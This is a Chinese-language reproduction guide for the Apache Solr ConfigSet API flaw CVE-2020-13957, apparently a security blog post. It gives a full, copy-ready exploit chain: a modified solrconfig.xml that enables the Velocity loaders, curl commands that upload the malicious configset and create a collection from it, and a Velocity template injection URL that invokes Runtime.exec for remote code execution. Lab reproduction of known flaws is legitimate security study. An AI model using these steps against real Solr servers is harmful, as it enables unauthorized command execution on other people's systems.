下载
CVE-2020-13957影响范围: Apache Solr 6.6.0 to 6.6.5、7.0.0 to 7.7.3、8.0.0 to 8.6.2
官方下载地址:Apache-Solr,本次漏洞复现下载影响范围内的8.0.0,解压既用。
不挂代理下载实在太慢,于是我就上传了一份:https://download.csdn.net/download/weixin_39811856/13162062
启动
该漏洞需要以cloud模式运行Solr,同时Solr-API不能开启认证
进入solr-8.0.0/bin目录下,使用 ./solr start -e cloud -force启动一个cloud示例,一路默认安装即可。
利用思路
利用UPLOAD上传恶意配置->用恶意配置创建新的collection->执行RCE
,由于ConfigSet API存在未授权上传漏洞,可以利用该漏洞实现远程代码执行。
准备攻击配置文件并打包
进入/solr-8.0.0/server/solr/configsets/sample_techproducts_configs/conf/
目录下修改solrconfig.xml如下内容:
原配置内容: <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy"> <str name="template.base.dir">${velocity.template.base.dir:}</str> </queryResponseWriter>
修改后: <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy"> <str name="template.base.dir">${velocity.template.base.dir:}</str> <str name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:true}</str> <str name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}</str> </queryResponseWriter>
2、执行
zip -r - * > mytest.zip
3、执行
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip "http://ip:8983/solr/admin/configs?action=UPLOAD&name=mytest"
4、执行
curl "http://ip:8983/solr/admin/collections?action=CREATE&name=mytest2&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"
5.此时可以看到已经上传上去名为mytest2的Collection。现在就可以使用漏洞执行RCE。
http://ip:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end